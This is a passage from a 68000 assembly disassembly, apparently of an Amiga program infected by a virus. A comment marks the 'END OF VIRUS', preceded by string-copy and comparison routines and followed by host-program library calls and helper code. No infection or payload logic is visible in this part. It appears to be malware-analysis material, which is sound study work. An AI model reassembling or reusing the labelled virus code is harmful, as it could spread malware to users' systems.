  2216.     MOVEA.L    A2,A0            ;15F0: 204A
  2217.     MOVEA.L    A3,A1            ;15F2: 224B
  2218.     BRA.S    LAB_0110        ;15F4: 6002
  2219. LAB_010F:
  2220.     MOVE.B    (A0)+,(A1)+        ;15F6: 12D8
  2221. LAB_0110:
  2222.     SUBQ.L    #1,D0            ;15F8: 5380
  2223.     BCC.S    LAB_010F        ;15FA: 64FA
  2224.     CLR.B    0(A3,D7.L)        ;15FC: 42337800
  2225.     MOVEQ    #0,D0            ;1600: 7000
  2226. LAB_0111:
  2227.     MOVEM.L    (A7)+,D7/A2-A3        ;1602: 4CDF0C80
  2228.     RTS                ;1606: 4E75
  2229. LAB_0112:
  2230.     MOVEQ    #0,D0            ;1608: 7000
  2231.     MOVEQ    #0,D1            ;160A: 7200
  2232. LAB_0113:
  2233.     MOVE.B    (A0)+,D0        ;160C: 1018
  2234.     MOVE.B    (A1)+,D1        ;160E: 1219
  2235.     CMP.B    #$61,D0            ;1610: B03C0061
  2236.     BLT.S    LAB_0114        ;1614: 6D0A
  2237.     CMP.B    #$7A,D0            ;1616: B03C007A
  2238.     BGT.S    LAB_0114        ;161A: 6E04
  2239.     SUBI.B    #$20,D0            ;161C: 04000020
  2240. LAB_0114:
  2241.     CMP.B    #$61,D1            ;1620: B23C0061
  2242.     BLT.S    LAB_0115        ;1624: 6D0A
  2243.     CMP.B    #$7A,D1            ;1626: B23C007A
  2244.     BGT.S    LAB_0115        ;162A: 6E04
  2245.     SUBI.B    #$20,D1            ;162C: 04010020
  2246. LAB_0115:
  2247.     SUB.L    D1,D0            ;1630: 9081
  2248.     BNE.S    LAB_0116        ;1632: 6604
  2249.     TST.B    D1            ;1634: 4A01
  2250.     BNE.S    LAB_0113        ;1636: 66D4
  2251. LAB_0116:
  2252.     RTS                ;1638: 4E75
  2253.     ORI.B    #$00,D0            ;163A: 00000000
  2254.     DC.W    $0000            ;163E
  2255. LAB_0117:
  2256.     BSET    D1,0(A2,D0.W)        ;1640: 03F20000
  2257.     ORI.B    #$00,D0            ;1644: 00000000
  2258.     ORI.B    #$00,D0            ;1648: 00000000
  2259.     ORI.B    #$00,D0            ;164C: 00000000
  2260.     ORI.B    #$00,D0            ;1650: 00000000
  2261. LAB_0118:
  2262.     ORI.B    #$00,D0            ;1654: 00000000
  2263.     ORI.B    #$00,D0            ;1658: 00000000
  2264.     ORI.B    #$00,D0            ;165C: 00000000
  2265.     ORI.B    #$00,D0            ;1660: 00000000
  2266.     ORI.B    #$00,D0            ;1664: 00000000
  2267.     ORI.B    #$00,D0            ;1668: 00000000
  2268.     ORI.B    #$00,D0            ;166C: 00000000
  2269.  
  2270. ;    END OF VIRUS
  2271.  
  2272. LAB_0119:
  2273.     LINK    A5,#0            ;1670: 4E550000
  2274.     MOVEM.L    D2/A2-A3/A6,-(A7)    ;1674: 48E72032
  2275.     MOVEA.L    8(A5),A3        ;1678: 266D0008
  2276.     MOVEA.L    12(A5),A2        ;167C: 246D000C
  2277.     MOVE.L    A2,D1            ;1680: 220A
  2278.     LEA    16(A5),A0        ;1682: 41ED0010
  2279.     MOVE.L    A0,D2            ;1686: 2408
  2280.     MOVEA.L    A3,A6            ;1688: 2C4B
  2281.     JSR    -606(A6)        ;168A: 4EAEFDA2
  2282.     MOVEM.L    (A7)+,D2/A2-A3/A6    ;168E: 4CDF4C04
  2283.     UNLK    A5            ;1692: 4E5D
  2284.     RTS                ;1694: 4E75
  2285. LAB_011A:
  2286.     LINK    A5,#-20            ;1696: 4E55FFEC
  2287.     MOVEM.L    D2/D7/A2-A3/A6,-(A7)    ;169A: 48E72132
  2288.     MOVEA.L    A0,A3            ;169E: 2648
  2289.     MOVE.L    D0,D7            ;16A0: 2E00
  2290.     MOVE.L    A1,-16(A5)        ;16A2: 2B49FFF0
  2291.     MOVEA    #$0004,A0        ;16A6: 307C0004
  2292.     MOVEA.L    (A0),A1            ;16AA: 2250
  2293.     MOVE.L    A1,20(A7)        ;16AC: 2F490014
  2294.     MOVEA.L    A1,A6            ;16B0: 2C49
  2295.     SUBA.L    A1,A1            ;16B2: 93C9
  2296.     JSR    -294(A6)        ;16B4: 4EAEFEDA
  2297.     MOVEA.L    D0,A2            ;16B8: 2440
  2298.     MOVE.L    172(A2),D0        ;16BA: 202A00AC
  2299.     ASL.L    #2,D0            ;16BE: E580
  2300.     MOVE.L    D0,-8(A5)        ;16C0: 2B40FFF8
  2301.     TST.L    D0            ;16C4: 4A80
  2302.     BNE    LAB_0121        ;16C6: 66000100
  2303.     MOVE.L    A3,D1            ;16CA: 220B
  2304.     BEQ    LAB_0121        ;16CC: 670000FA
  2305.     MOVEQ    #4,D1            ;16D0: 7204
  2306.     MOVEQ    #0,D2            ;16D2: 7400
  2307.     MOVEA.L    -16(A5),A6        ;16D4: 2C6DFFF0
  2308.     JSR    -228(A6)        ;16D8: 4EAEFF1C
  2309.     MOVE.L    D0,-8(A5)        ;16DC: 2B40FFF8
  2310.     TST.L    D0            ;16E0: 4A80
  2311.     BEQ    LAB_0121        ;16E2: 670000E4
  2312.     MOVE.L    D7,D1            ;16E6: 2207
  2313.     ADDQ.L    #3,D1            ;16E8: 5681
  2314.     LSR.L    #2,D1            ;16EA: E489
  2315.     MOVEA.L    D0,A0            ;16EC: 2040
  2316.     MOVE.L    D1,52(A0)        ;16EE: 21410034
  2317.     MOVE.L    D0,D1            ;16F2: 2200
  2318.     ASR.L    #2,D1            ;16F4: E481
  2319.     MOVE.L    D1,172(A2)        ;16F6: 254100AC
  2320.     BSET    #2,195(A2)        ;16FA: 08EA000200C3
  2321.     MOVEA.L    20(A7),A6        ;1700: 2C6F0014
  2322.     JSR    -132(A6)        ;1704: 4EAEFF7C
  2323.     MOVEA.L    14(A3),A2        ;1708: 246B000E
  2324.     MOVE.L    A2,D0            ;170C: 200A
  2325.     BEQ    LAB_0120        ;170E: 670000B0
  2326.     MOVEQ    #3,D0            ;1712: 7003
  2327.     AND.B    14(A2),D0        ;1714: C02A000E
  2328.     TST.B    D0            ;1718: 4A00
  2329.     BNE    LAB_0120        ;171A: 660000A4
  2330.     MOVEA.L    16(A2),A2        ;171E: 246A0010
  2331.     MOVE.L    A2,D0            ;1722: 200A
  2332.     BEQ    LAB_0120        ;1724: 6700009A
  2333.     MOVEQ    #13,D0            ;1728: 700D
  2334.     CMP.B    8(A2),D0        ;172A: B02A0008
  2335.     BNE    LAB_0120        ;172E: 66000090
  2336.     MOVE.L    172(A2),D0        ;1732: 202A00AC
  2337.     ASL.L    #2,D0            ;1736: E580
  2338.     MOVEA.L    D0,A2            ;1738: 2440
  2339.     MOVE.L    A2,D0            ;173A: 200A
  2340.     BEQ    LAB_0120        ;173C: 67000082
  2341.     MOVE.L    24(A2),D0        ;1740: 202A0018
  2342.     ASL.L    #2,D0            ;1744: E580
  2343.     MOVEA.L    D0,A3            ;1746: 2640
  2344.     MOVE.L    A3,D0            ;1748: 200B
  2345.     BEQ.S    LAB_011B        ;174A: 670E
  2346.     LEA    1(A3),A0        ;174C: 41EB0001
  2347.     MOVE.L    A0,D1            ;1750: 2208
  2348.     MOVEA.L    -16(A5),A6        ;1752: 2C6DFFF0
  2349.     JSR    -582(A6)        ;1756: 4EAEFDBA
  2350. LAB_011B:
  2351.     MOVE.L    8(A2),D0        ;175A: 202A0008
  2352.     ASL.L    #2,D0            ;175E: E580
  2353.     MOVEA.L    D0,A2            ;1760: 2440
  2354.     MOVEA.L    -8(A5),A0        ;1762: 206DFFF8
  2355.     ADDQ.L    #8,A0            ;1766: 5088
  2356.     MOVE.L    A0,-12(A5)        ;1768: 2B48FFF4
  2357.     BRA.S    LAB_011F        ;176C: 604E
  2358. LAB_011C:
  2359.     TST.L    4(A2)            ;176E: 4AAA0004
  2360.     BEQ.S    LAB_011E        ;1772: 6742
  2361.     MOVEQ    #8,D0            ;1774: 7008
  2362.     MOVE.L    #$00010001,D1        ;1776: 223C00010001
  2363.     MOVEA.L    20(A7),A6        ;177C: 2C6F0014
  2364.     JSR    -684(A6)        ;1780: 4EAEFD54
  2365.     MOVEA.L    D0,A3            ;1784: 2640
  2366.     MOVE.L    A3,D0            ;1786: 200B
  2367.     BEQ.S    LAB_0120        ;1788: 6736
  2368.     MOVE.L    4(A2),D1        ;178A: 222A0004
  2369.     MOVEA.L    -16(A5),A6        ;178E: 2C6DFFF0
  2370.     JSR    -96(A6)            ;1792: 4EAEFFA0
  2371.     MOVE.L    D0,4(A3)        ;1796: 27400004
  2372.     BNE.S    LAB_011D        ;179A: 660C
  2373.     MOVEA.L    A3,A1            ;179C: 224B
  2374.     MOVEA.L    20(A7),A6        ;179E: 2C6F0014
  2375.     JSR    -690(A6)        ;17A2: 4EAEFD4E
  2376.     BRA.S    LAB_0120        ;17A6: 6018
  2377. LAB_011D:
  2378.     MOVE.L    A3,D0            ;17A8: 200B
  2379.     ASR.L    #2,D0            ;17AA: E480
  2380.     MOVEA.L    -12(A5),A0        ;17AC: 206DFFF4
  2381.     MOVE.L    D0,(A0)            ;17B0: 2080
  2382.     MOVE.L    A3,-12(A5)        ;17B2: 2B4BFFF4
  2383. LAB_011E:
  2384.     MOVE.L    (A2),D0            ;17B6: 2012
  2385.     ASL.L    #2,D0            ;17B8: E580
  2386.     MOVEA.L    D0,A2            ;17BA: 2440
  2387. LAB_011F:
  2388.     MOVE.L    A2,D0            ;17BC: 200A
  2389.     BNE.S    LAB_011C        ;17BE: 66AE
  2390. LAB_0120:
  2391.     MOVEA.L    20(A7),A6        ;17C0: 2C6F0014
  2392.     JSR    -138(A6)        ;17C4: 4EAEFF76
  2393. LAB_0121:
  2394.     MOVE.L    -8(A5),D0        ;17C8: 202DFFF8
  2395.     MOVEM.L    (A7)+,D2/D7/A2-A3/A6    ;17CC: 4CDF4C84
  2396.     UNLK    A5            ;17D0: 4E5D
  2397.     RTS                ;17D2: 4E75
  2398. LAB_0122:
  2399.     MOVEM.L    A2-A4/A6,-(A7)        ;17D4: 48E7003A
  2400.     MOVEA.L    20(A7),A3        ;17D8: 266F0014
  2401.     MOVEA.L    24(A7),A0        ;17DC: 206F0018
  2402.     LEA    28(A7),A1        ;17E0: 43EF001C
  2403.     LEA    LAB_0123(PC),A2        ;17E4: 45FA0012
  2404.     MOVEA.L    ABSEXECBASE,A6        ;17E8: 2C7900000004
  2405.     JSR    -522(A6)        ;17EE: 4EAEFDF6
  2406.     MOVEM.L    (A7)+,A2-A4/A6        ;17F2: 4CDF5C00
  2407.     RTS                ;17F6: 4E75
  2408. LAB_0123:
  2409.     MOVE.B    D0,(A3)+        ;17F8: 16C0
  2410.     RTS                ;17FA: 4E75
  2411. LAB_0124:
  2412.     MOVE.L    A0,D1            ;17FC: 2208
  2413.     BRA.S    LAB_0126        ;17FE: 6004
  2414. LAB_0125:
  2415.     MOVE.B    (A1)+,(A0)+        ;1800: 10D9
  2416.     BEQ.S    LAB_0128        ;1802: 6708
  2417. LAB_0126:
  2418.     SUBQ.L    #1,D0            ;1804: 5380
  2419.     BCC.S    LAB_0125        ;1806: 64F8
  2420.     BRA.S    LAB_0129        ;1808: 6006
  2421. LAB_0127:
  2422.     CLR.B    (A0)+            ;180A: 4218
  2423. LAB_0128:
  2424.     SUBQ.L    #1,D0            ;180C: 5380
  2425.     BCC.S    LAB_0127        ;180E: 64FA
  2426. LAB_0129:
  2427.     MOVE.L    D1,D0            ;1810: 2001
  2428.     RTS                ;1812: 4E75
  2429. LAB_012A:
  2430.     MOVE.L    A0,D0            ;1814: 2008
  2431. LAB_012B:
  2432.     TST.B    (A0)+            ;1816: 4A18
  2433.     BNE.S    LAB_012B        ;1818: 66FC
  2434.     SUBQ.L    #1,A0            ;181A: 5388
  2435. LAB_012C:
  2436.     MOVE.B    (A1)+,(A0)+        ;181C: 10D9
  2437.     BNE.S    LAB_012C        ;181E: 66FC
  2438.     RTS                ;1820: 4E75
  2439.     DC.W    $0000            ;1822
  2440. LAB_012D:
  2441.     MOVEM.L    D2-D3,-(A7)        ;1824: 48E73000
  2442.     MOVE.L    D0,D2            ;1828: 2400
  2443.     MOVE.L    D1,D3            ;182A: 2601
  2444.     SWAP    D2            ;182C: 4842
  2445.     SWAP    D3            ;182E: 4843
  2446.     MULU    D1,D2            ;1830: C4C1
  2447.     MULU    D0,D3            ;1832: C6C0
  2448.     MULU    D1,D0            ;1834: C0C1
  2449.     ADD    D3,D2            ;1836: D443
  2450.     SWAP    D2            ;1838: 4842
  2451.     CLR    D2            ;183A: 4242
  2452.     ADD.L    D2,D0            ;183C: D082
  2453.     MOVEM.L    (A7)+,D2-D3        ;183E: 4CDF000C
  2454.     RTS                ;1842: 4E75
  2455.  
  2456.  
  2457.     SECTION S_1,DATA
  2458.  
  2459. SECSTRT_1:
  2460.     DC.L    LAB_0011        ;1844: 000002EE
  2461.     END
  2462.